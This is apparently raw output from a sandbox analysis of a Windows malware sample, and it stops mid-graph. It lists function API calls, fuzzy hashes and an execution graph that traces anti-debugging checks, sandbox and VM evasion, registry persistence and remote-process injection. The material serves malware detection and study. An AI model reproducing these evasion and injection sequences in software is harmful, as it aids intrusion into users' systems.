                                                                                                                                                                                                            Function 00402EA0 Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 436commemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CoInitializeEx.OLE32(00000000,00000000,?,?), ref: 00402EB0
                                                                                                                                                                                                            • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00402ED0
                                                                                                                                                                                                            • CoCreateInstance.OLE32(004043E8,00000000,00000001,004041D8,?), ref: 00402EF7
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F0F
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F2A
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F48
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F66
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00402FEC
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00402FF2
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00402FF8
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00402FFE
                                                                                                                                                                                                            • InterlockedDecrement.KERNEL32(.5@), ref: 0040303D
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(00404F3C), ref: 004031E6
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 0040320B
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00403229
                                                                                                                                                                                                              • Part of subcall function 00402DC0: GetProcessHeap.KERNEL32(00000008,00000010,00000000,?,00403011,00404F28), ref: 00402DC8
                                                                                                                                                                                                              • Part of subcall function 00402DC0: HeapAlloc.KERNEL32(00000000,?,00403011,00404F28), ref: 00402DCF
                                                                                                                                                                                                              • Part of subcall function 00402DC0: SysAllocString.OLEAUT32(00403011), ref: 00402DF0
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 004032D6
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 004032DC
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 004032E2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Variant$Clear$Init$Alloc$HeapInitializeString$CreateDecrementInstanceInterlockedProcessSecurity
                                                                                                                                                                                                            • String ID: .5@$.5@$cmd.exe$p=)u
                                                                                                                                                                                                            • API String ID: 2839743307-1153045067
                                                                                                                                                                                                            • Opcode ID: 1e3b16be614db6c6fd603cea34a01d53bce829db1e78b23bd4969b6f42b954d4
                                                                                                                                                                                                            • Instruction ID: 7356d6b497d974f43c465eb486c8ab872bac2c341a44699d5e6db9722a73acc6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1e3b16be614db6c6fd603cea34a01d53bce829db1e78b23bd4969b6f42b954d4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 65F1EA75E102199FCB00DFA8C884A9EBBB9FF88710F15816AE914BB391D774AD41CF94
                                                                                                                                                                                                            Function 00401FB0 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401FD6
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401FE7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 00401FF0
                                                                                                                                                                                                            • SwitchToThread.KERNEL32 ref: 00401FFF
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00402008
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00402028
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00402039
                                                                                                                                                                                                            • Module32First.KERNEL32(00000000,?), ref: 0040205A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,kernel), ref: 0040207C
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.dll), ref: 00402088
                                                                                                                                                                                                            • Module32Next.KERNEL32(00000000,00000224), ref: 00402096
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
                                                                                                                                                                                                            • String ID: .dll$kernel
                                                                                                                                                                                                            • API String ID: 2979424695-2375045364
                                                                                                                                                                                                            • Opcode ID: 879494545999ec302966fa281da3315520f63b38012031968e87e0d656fbeae2
                                                                                                                                                                                                            • Instruction ID: 8973f4922baf9af671f2a19144e2d86d5cf9878df638c7e503d434612b68899c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 879494545999ec302966fa281da3315520f63b38012031968e87e0d656fbeae2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F721EB7190131477D7109BA5AE4DB9F77A8ABC8310F100276EB04F32D1DB789E41C669
                                                                                                                                                                                                            Function 00402E40 Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 39memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 00402E47
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,.5@,7529E610,00402E2E), ref: 00402E5F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402E62
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 00402E6F
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402E72
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,.5@,.5@,7529E610,00402E2E), ref: 00402E7B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402E7E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,.5@), ref: 00402E8B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402E8E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$Free$Validate$String
                                                                                                                                                                                                            • String ID: .5@
                                                                                                                                                                                                            • API String ID: 2629017576-427766238
                                                                                                                                                                                                            • Opcode ID: 68846457a1a63d72fa89529ead8f04e900e348e70f49c4da8581cfeb29d1e508
                                                                                                                                                                                                            • Instruction ID: 8a0f41a42cc1d9b8d1979a4e7edab232083dfb301258e97597ac6d2db269471b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 68846457a1a63d72fa89529ead8f04e900e348e70f49c4da8581cfeb29d1e508
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 10F0FEB2641211ABE6106BB59E4CF5B3A5CEF95B56F044525B708F71D0CA74CC0086B8
                                                                                                                                                                                                            Function 00401600 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 0040160B
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,004029E2,00000000), ref: 0040161C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 0040162C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll$)@
                                                                                                                                                                                                            • API String ID: 1545651562-3472953331
                                                                                                                                                                                                            • Opcode ID: d7d83ff0900f622d049b5be12cc15580f74a08d0b5689ce42f4a0c39a4c223af
                                                                                                                                                                                                            • Instruction ID: a861cb93b7f16bf3c872219f5ba967f96d5ad720afefe63f3816ea97d3f010e1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d7d83ff0900f622d049b5be12cc15580f74a08d0b5689ce42f4a0c39a4c223af
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 89E01AB0600310DBEB009FB2AD09A563699AA94B113448836A709F21E2DA3CD810CA6D
                                                                                                                                                                                                            Function 00401920 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 0040194A
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,004029EE,-00000006,00000000), ref: 00401957
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401963
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 1545651562-3277137149
                                                                                                                                                                                                            • Opcode ID: 722f6cd1cbe50953a6b5d4977baf4a995fd7d4408477fa0f27fd114fcda5d871
                                                                                                                                                                                                            • Instruction ID: 42b0d571b2b9ac5a956892dcf26f74189b3fac86f907fc126faefe0e596b578b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 722f6cd1cbe50953a6b5d4977baf4a995fd7d4408477fa0f27fd114fcda5d871
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B601A771600314DBC7149FBAAC81996B759AB88B15710443AEA09E32D3C63DDC05CBBC

                                                                                                                                                                                                            Execution Graph

                                                                                                                                                                                                            Execution Coverage:1.3%
                                                                                                                                                                                                            Dynamic/Decrypted Code Coverage:79.3%
                                                                                                                                                                                                            Signature Coverage:30.2%
                                                                                                                                                                                                            Total number of Nodes:943
                                                                                                                                                                                                            Total number of Limit Nodes:27
                                                                                                                                                                                                            execution_graph 82181 402b70 82252 401000 IsDebuggerPresent 82181->82252 82183 402b81 LoadLibraryA GetModuleFileNameA 82272 403920 GetModuleFileNameA strstr 82183->82272 82186 402bb1 82288 4021b0 CreateFileA 82186->82288 82187 402ba9 ExitProcess 82192 402be6 82299 402340 CreateFileA 82192->82299 82193 402bce GetTickCount PostMessageA 82193->82192 82202 402c06 82367 4033b0 70 API calls 82202->82367 82203 402c17 IsUserAnAdmin GetModuleHandleA 82204 402c50 82203->82204 82205 402c31 GetProcAddress 82203->82205 82209 402ca2 82204->82209 82210 402c56 82204->82210 82205->82204 82208 402c43 GetCurrentProcess 82205->82208 82207 402c0b 82207->82203 82211 402c0f ExitProcess 82207->82211 82208->82204 82212 402d59 82209->82212 82213 402caa StrStrIA 82209->82213 82214 402c70 82210->82214 82215 402c5a StrStrIA 82210->82215 82220 401130 13 API calls 82212->82220 82216 402cc0 82213->82216 82217 402cfd 82213->82217 82325 401130 memset memset 82214->82325 82215->82214 82218 402c93 82215->82218 82221 401130 13 API calls 82216->82221 82370 4028b0 98 API calls 82217->82370 82368 4028b0 98 API calls 82218->82368 82224 402d64 GlobalFindAtomA 82220->82224 82227 402ccb GlobalFindAtomA 82221->82227 82230 402db4 ExitProcess 82224->82230 82231 402d74 GlobalAddAtomA IsUserAnAdmin 82224->82231 82226 402c98 82369 401520 9 API calls 82226->82369 82227->82230 82233 402cdf GlobalAddAtomA IsUserAnAdmin 82227->82233 82228 402d02 GlobalFindAtomA 82234 402d52 82228->82234 82235 402d12 GlobalAddAtomA IsUserAnAdmin 82228->82235 82237 402d95 IsUserAnAdmin 82231->82237 82238 402cf4 82231->82238 82233->82237 82233->82238 82381 401520 9 API calls 82234->82381 82242 402d33 IsUserAnAdmin 82235->82242 82243 402d23 82235->82243 82240 402da0 82237->82240 82238->82237 82239 402c9d 82239->82230 82245 401aa0 7 API calls 82240->82245 82244 402d3e 82242->82244 82243->82242 82371 401aa0 memset CreateToolhelp32Snapshot 82244->82371 82247 402dab 82245->82247 82247->82230 82249 402daf 82247->82249 82248 402d49 82248->82234 82251 401b70 32 API calls 82248->82251 82250 401b70 32 API calls 82249->82250 82250->82230 82251->82234 82253 401022 FindWindowA 82252->82253 82254 40111b 82252->82254 82253->82254 82255 401038 memset CreateToolhelp32Snapshot 82253->82255 82254->82183 82256 401063 Process32First 82255->82256 82257 4010d1 82255->82257 82259 401083 StrStrIA 82256->82259 82258 401aa0 7 API calls 82257->82258 82271 40110e 82257->82271 82260 4010df 82258->82260 82261 4010a3 82259->82261 82262 401097 Process32Next 82259->82262 82263 401aa0 7 API calls 82260->82263 82260->82271 82261->82257 82264 4010b3 GetHandleInformation 82261->82264 82262->82259 82262->82261 82265 4010ed 82263->82265 82264->82257 82266 4010c3 82264->82266 82268 401aa0 7 API calls 82265->82268 82265->82271 82266->82257 82267 4010ca FindCloseChangeNotification 82266->82267 82267->82257 82269 4010fb 82268->82269 82270 4010ff PathFileExistsA 82269->82270 82269->82271 82270->82271 82271->82183 82273 403974 82272->82273 82274 402ba5 82272->82274 82382 403870 RegOpenKeyExA 82273->82382 82274->82186 82274->82187 82277 403981 GetUserNameA CharUpperA strstr 82277->82274 82278 4039b8 strstr 82277->82278 82278->82274 82279 4039d1 strstr 82278->82279 82279->82274 82280 4039ea strstr 82279->82280 82280->82274 82281 403a03 strstr 82280->82281 82281->82274 82282 403a1c GetSystemWindowsDirectoryA GetVolumeInformationA 82281->82282 82282->82274 82283 403a5c 82282->82283 82283->82274 82284 403a78 GetModuleFileNameA StrStrIA 82283->82284 82284->82274 82285 403aa0 StrStrIA 82284->82285 82285->82274 82286 403ab2 StrStrIA 82285->82286 82286->82274 82287 403ac4 82286->82287 82287->82274 82289 402330 82288->82289 82290 402300 DeviceIoControl CloseHandle 82288->82290 82291 4020c0 memset SHGetFolderPathA 82289->82291 82290->82289 82292 402187 82291->82292 82293 40211e PathAppendA SetCurrentDirectoryA 82291->82293 82295 402192 FindWindowA 82292->82295 82296 40218b FreeLibrary 82292->82296 82293->82292 82294 402141 LoadLibraryA 82293->82294 82294->82292 82297 402155 GetProcAddress 82294->82297 82295->82192 82295->82193 82296->82295 82297->82292 82298 402165 82297->82298 82298->82292 82300 4023e3 WriteFile GetSystemTimeAsFileTime WriteFile CloseHandle 82299->82300 82301 402424 82299->82301 82300->82301 82302 402430 SHGetFolderPathA 82301->82302 82303 402515 82302->82303 82304 402457 82302->82304 82306 402520 SHGetFolderPathA 82303->82306 82304->82304 82305 4024cc MoveFileA 82304->82305 82305->82303 82307 40264f 82306->82307 82308 40254b CreateFileA 82306->82308 82311 402660 CoInitializeEx 82307->82311 82308->82307 82310 4025b1 11 API calls 82308->82310 82310->82307 82312 40268e 82311->82312 82313 40269f GetModuleFileNameW SysAllocString 82311->82313 82312->82313 82315 4028a4 IsUserAnAdmin 82312->82315 82314 4026cd SysAllocString 82313->82314 82320 402846 82313->82320 82316 402833 SysFreeString 82314->82316 82317 4026de CoCreateInstance 82314->82317 82315->82202 82315->82203 82318 402843 SysFreeString 82316->82318 82316->82320 82319 402807 82317->82319 82322 402705 82317->82322 82318->82320 82319->82316 82320->82315 82321 40289e CoUninitialize 82320->82321 82321->82315 82322->82316 82322->82319 82323 402793 CoCreateInstance 82322->82323 82324 4027b5 82323->82324 82324->82319 82326 40118a IsUserAnAdmin 82325->82326 82327 4012ce GetCurrentProcessId 82325->82327 82328 401280 RegOpenKeyExA 82326->82328 82329 401198 RegCreateKeyExA 82326->82329 82336 401b70 82327->82336 82330 4012b6 82328->82330 82331 40129e RegSetValueExA 82328->82331 82329->82330 82332 4011be GetEnvironmentVariableA PathAddBackslashA GetVolumeInformationA _snprintf 82329->82332 82330->82327 82333 4012bd RegFlushKey RegCloseKey 82330->82333 82331->82330 82334 401221 82332->82334 82333->82327 82334->82334 82335 40125e RegSetValueExA 82334->82335 82335->82330 82337 401b86 82336->82337 82343 401dd3 Sleep 82336->82343 82339 401ba5 82337->82339 82340 401b9b Sleep 82337->82340 82387 401fb0 memset CreateToolhelp32Snapshot 82337->82387 82341 401fb0 11 API calls 82339->82341 82340->82337 82340->82339 82342 401bac 82341->82342 82342->82343 82344 401bb4 OpenProcess 82342->82344 82343->82230 82344->82343 82345 401bcf GetModuleHandleA 82344->82345 82346 401c06 82345->82346 82347 401beb GetProcAddress 82345->82347 82349 401c0c GetModuleHandleA 82346->82349 82350 401c3f VirtualAllocEx 82346->82350 82347->82346 82348 401bf9 GetCurrentProcess 82347->82348 82348->82346 82351 401c22 GetProcAddress 82349->82351 82352 401c2e 82349->82352 82353 401db0 GetHandleInformation 82350->82353 82354 401c82 WriteProcessMemory 82350->82354 82351->82352 82352->82350 82352->82353 82353->82343 82355 401dc6 82353->82355 82356 401cae 82354->82356 82357 401d1f WriteProcessMemory FlushInstructionCache CreateRemoteThread 82354->82357 82355->82343 82361 401dcc CloseHandle 82355->82361 82358 401cb1 VirtualAlloc 82356->82358 82365 401d19 82356->82365 82359 401d62 GetHandleInformation 82357->82359 82360 401d8e RtlCreateUserThread 82357->82360 82358->82356 82362 401cc9 memcpy WriteProcessMemory VirtualFree 82358->82362 82363 401d85 82359->82363 82364 401d78 82359->82364 82360->82353 82361->82343 82362->82356 82363->82353 82364->82363 82366 401d7e CloseHandle 82364->82366 82365->82357 82366->82363 82367->82207 82368->82226 82369->82239 82370->82228 82372 401ae7 Process32First 82371->82372 82373 401adc 82371->82373 82374 401b07 StrStrIA 82372->82374 82373->82248 82375 401b16 Process32Next 82374->82375 82376 401b22 82374->82376 82375->82374 82375->82376 82377 401b50 82376->82377 82378 401b32 GetHandleInformation 82376->82378 82377->82248 82378->82377 82379 401b42 82378->82379 82379->82377 82380 401b49 FindCloseChangeNotification 82379->82380 82380->82377 82381->82239 82383 4038d5 82382->82383 82384 4038a6 RegQueryValueExA 82382->82384 82383->82274 82383->82277 82385 4038db RegCloseKey 82384->82385 82386 4038cb RegCloseKey 82384->82386 82385->82383 82386->82383 82388 401ff0 GetLastError 82387->82388 82389 402048 Module32First 82387->82389 82390 4020ab 82388->82390 82391 401fff SwitchToThread CreateToolhelp32Snapshot 82388->82391 82392 402064 82389->82392 82399 402015 82389->82399 82390->82337 82391->82390 82391->82399 82393 402070 StrStrIA 82392->82393 82396 402082 StrStrIA 82393->82396 82397 40208e Module32Next 82393->82397 82394 402023 GetHandleInformation 82395 40203f 82394->82395 82398 402032 82394->82398 82395->82337 82396->82397 82396->82399 82397->82393 82397->82399 82398->82395 82400 402038 FindCloseChangeNotification 82398->82400 82399->82394 82399->82395 82400->82395 82401 28c1360 82402 28c136f 82401->82402 82441 28c1000 GetPEB 82402->82441 82404 28c1384 82442 28c1090 82404->82442 82406 28c138a 82407 28c15f9 82406->82407 82408 28c13a0 GetPEB 82406->82408 82470 28c1000 GetPEB 82407->82470 82410 28c1090 GetPEB 82408->82410 82414 28c13bc 82410->82414 82411 28c1605 82412 28c1090 GetPEB 82411->82412 82413 28c160b 82412->82413 82414->82407 82451 28c1000 GetPEB 82414->82451 82416 28c13ff 82417 28c1090 GetPEB 82416->82417 82418 28c1405 82417->82418 82452 28c1000 GetPEB 82418->82452 82420 28c1425 82421 28c1090 GetPEB 82420->82421 82422 28c142b VirtualAlloc 82421->82422 82422->82407 82436 28c1444 82422->82436 82423 28c156c 82453 28c1000 GetPEB 82423->82453 82424 28c1000 GetPEB 82424->82436 82426 28c1090 GetPEB 82426->82436 82427 28c159d 82428 28c1090 GetPEB 82427->82428 82429 28c15a3 82428->82429 82454 28c12c0 82429->82454 82432 28c1090 GetPEB 82433 28c14ef LoadLibraryExA 82432->82433 82433->82436 82435 28c15e8 82437 28c1090 GetPEB 82435->82437 82436->82423 82436->82424 82436->82426 82436->82432 82439 28c154b GetProcAddress 82436->82439 82438 28c15ee 82437->82438 82465 2d17220 CreateThread 82438->82465 82439->82436 82441->82404 82443 28c10a9 82442->82443 82445 28c10b3 82442->82445 82443->82406 82444 28c119d 82444->82406 82445->82444 82471 28c1000 GetPEB 82445->82471 82447 28c1184 82448 28c1090 GetPEB 82447->82448 82449 28c118a 82448->82449 82449->82444 82450 28c1090 GetPEB 82449->82450 82450->82444 82451->82416 82452->82420 82453->82427 82455 28c12e8 82454->82455 82472 28c1000 GetPEB 82455->82472 82457 28c12fa 82458 28c1090 GetPEB 82457->82458 82459 28c1300 82458->82459 82473 28c1000 GetPEB 82459->82473 82461 28c133e 82462 28c1090 GetPEB 82461->82462 82463 28c1344 82462->82463 82463->82407 82464 28c1000 GetPEB 82463->82464 82464->82435 82466 2d17240 GetHandleInformation 82465->82466 82467 2d17263 ExitThread 82465->82467 82474 2d167d0 82465->82474 82466->82467 82468 2d17256 82466->82468 82468->82467 82469 2d1725c FindCloseChangeNotification 82468->82469 82469->82467 82470->82411 82471->82447 82472->82457 82473->82461 82669 2d03440 memset GetEnvironmentVariableA 82474->82669 82479 2d16801 GetModuleFileNameA 82480 2d17215 82479->82480 82481 2d1681d StrStrIA 82479->82481 82482 2d16890 InitializeCriticalSection CreateMutexA 82481->82482 82483 2d16835 GetCommandLineA 82481->82483 82482->82480 82485 2d168c5 82482->82485 82484 2d16840 82483->82484 82484->82484 82486 2d16848 GetCommandLineW 82484->82486 82685 2d037e0 memset GetModuleFileNameA 82485->82685 82488 2d16876 82486->82488 82488->82482 82488->82488 82491 2d168cf 82491->82480 82730 2d03940 GetTickCount GetModuleHandleA 82491->82730 82493 2d168dd 82737 2d1aac0 memset GetVersionExW 82493->82737 82498 2d168f1 CreateThread 82499 2d1692b 82498->82499 82500 2d16908 GetHandleInformation 82498->82500 83140 2d13140 50 API calls 82498->83140 82501 2d1693b CreateThread 82499->82501 82502 2d16a8d 82499->82502 82500->82499 82504 2d1691e 82500->82504 82505 2d1695c GetHandleInformation 82501->82505 82506 2d1697f CreateThread 82501->82506 83110 2d17820 82501->83110 82775 2d06a50 18 API calls 82502->82775 82504->82499 82508 2d16924 CloseHandle 82504->82508 82505->82506 82509 2d16972 82505->82509 82752 2d03750 memset 82506->82752 83095 2d17b30 82506->83095 82507 2d16a92 82511 2d16a97 GetModuleHandleA 82507->82511 82508->82499 82509->82506 82512 2d16978 CloseHandle 82509->82512 82514 2d16ad0 82511->82514 82515 2d16ab5 GetProcAddress 82511->82515 82512->82506 82513 2d1699a InitializeCriticalSection CreateThread 82516 2d169b8 GetHandleInformation 82513->82516 82517 2d169db 82513->82517 83069 2d17430 82513->83069 82520 2d16b07 82514->82520 82521 2d16ad6 IsUserAnAdmin 82514->82521 82515->82514 82519 2d16ac3 GetCurrentProcess 82515->82519 82516->82517 82522 2d169ce 82516->82522 82755 2d06bc0 memset 82517->82755 82519->82514 82524 2d16b0d StrStrIA 82520->82524 82521->82520 82526 2d16ae0 StrStrIA 82521->82526 82522->82517 82523 2d169d4 FindCloseChangeNotification 82522->82523 82523->82517 82527 2d16b23 StrStrIA 82524->82527 82528 2d170f9 82524->82528 82526->82524 82531 2d16af8 82526->82531 82527->82528 82532 2d16b39 StrStrIA 82527->82532 82782 2d15230 202 API calls 82528->82782 82529 2d169f7 GetHandleInformation 82530 2d16a1a 82529->82530 82533 2d16a0d 82529->82533 82773 2d19c50 253 API calls 82530->82773 82776 2d1a240 CreateMutexA CreateThread GetHandleInformation CloseHandle 82531->82776 82532->82528 82537 2d16b4f StrStrIA 82532->82537 82533->82530 82538 2d16a13 CloseHandle 82533->82538 82537->82528 82542 2d16b65 StrStrIA 82537->82542 82538->82530 82539 2d16a1f 82774 2d14330 15 API calls 82539->82774 82540 2d17100 StrStrIA 82544 2d17131 StrStrIA 82540->82544 82545 2d17112 GetModuleHandleA GetProcAddress 82540->82545 82541 2d16afd 82777 2d06070 45 API calls 82541->82777 82542->82528 82549 2d16b7b StrStrIA 82542->82549 82548 2d16b02 82544->82548 82783 2d1a040 38 API calls 82545->82783 82551 2d171d7 CreateThread 82548->82551 82784 2d0d7a0 7 API calls 82548->82784 82549->82528 82552 2d16b91 StrStrIA 82549->82552 82550 2d16a29 82550->82511 82553 2d16a2f CreateThread 82550->82553 82551->82480 82558 2d171f2 GetHandleInformation 82551->82558 83157 2d07d50 25 API calls 82551->83157 82552->82528 82555 2d16ba7 StrStrIA 82552->82555 82556 2d16a46 GetHandleInformation 82553->82556 82557 2d16a69 GetProcessHeap HeapValidate 82553->82557 83159 2d15020 267 API calls 82553->83159 82555->82528 82562 2d16bbd StrStrIA 82555->82562 82556->82557 82563 2d16a5c 82556->82563 82557->82511 82560 2d16a7f GetProcessHeap HeapFree 82557->82560 82558->82480 82559 2d17208 82558->82559 82559->82480 82564 2d1720e CloseHandle 82559->82564 82560->82511 82561 2d1714f GetCurrentProcessId 82785 2d24450 OpenProcess 82561->82785 82562->82528 82566 2d16bd3 StrStrIA 82562->82566 82563->82557 82567 2d16a62 CloseHandle 82563->82567 82564->82480 82566->82528 82569 2d16be9 StrStrIA 82566->82569 82567->82557 82569->82528 82571 2d16bff StrStrIA 82569->82571 82570 2d1715e GetCurrentThreadId GetThreadDesktop GetUserObjectInformationA 82570->82551 82572 2d17188 lstrcmpiA 82570->82572 82571->82528 82573 2d16c15 StrStrIA 82571->82573 82572->82551 82574 2d1719e CreateThread 82572->82574 82573->82528 82575 2d16c2b StrStrIA 82573->82575 82574->82551 82577 2d171b4 GetHandleInformation 82574->82577 83143 2d0ba40 122 API calls 82574->83143 82575->82528 82576 2d16c41 StrStrIA 82575->82576 82578 2d17053 StrStrIA 82576->82578 82579 2d16c57 82576->82579 82577->82551 82580 2d171ca 82577->82580 82583 2d170f0 82578->82583 82584 2d17069 StrStrIA 82578->82584 82778 2d15230 202 API calls 82579->82778 82580->82551 82582 2d171d0 CloseHandle 82580->82582 82582->82551 82781 2d15230 202 API calls 82583->82781 82584->82583 82585 2d1707b StrStrIA 82584->82585 82585->82583 82588 2d1708d StrStrIA 82585->82588 82586 2d16c5e 82779 2d07ce0 14 API calls 82586->82779 82588->82583 82590 2d1709f StrStrIA 82588->82590 82590->82583 82592 2d170b1 StrStrIA 82590->82592 82591 2d16c63 82591->82548 82593 2d16c6b CreateThread 82591->82593 82592->82583 82594 2d170c3 StrStrIA 82592->82594 82595 2d16c89 GetHandleInformation 82593->82595 82596 2d16ca8 CreateThread 82593->82596 83150 2d1b3f0 457 API calls 82593->83150 82594->82583 82597 2d170d5 StrStrIA 82594->82597 82595->82596 82598 2d16c9b 82595->82598 82599 2d16cbf GetHandleInformation 82596->82599 82600 2d16cde CreateThread 82596->82600 83152 2d1ea80 458 API calls 82596->83152 82597->82583 82601 2d170e7 82597->82601 82598->82596 82602 2d16ca1 CloseHandle 82598->82602 82599->82600 82603 2d16cd1 82599->82603 82604 2d16cf5 GetHandleInformation 82600->82604 82605 2d16d14 CreateThread 82600->82605 83154 2d20070 499 API calls 82600->83154 82780 2d15230 202 API calls 82601->82780 82602->82596 82603->82600 82610 2d16cd7 CloseHandle 82603->82610 82604->82605 82606 2d16d07 82604->82606 82607 2d16d2b GetHandleInformation 82605->82607 82608 2d16d4a CreateThread 82605->82608 83155 2d208e0 499 API calls 82605->83155 82606->82605 82611 2d16d0d CloseHandle 82606->82611 82607->82608 82612 2d16d3d 82607->82612 82613 2d16d61 GetHandleInformation 82608->82613 82614 2d16d80 CreateThread 82608->82614 83156 2d1f1b0 499 API calls 82608->83156 82610->82600 82611->82605 82612->82608 82615 2d16d43 CloseHandle 82612->82615 82613->82614 82616 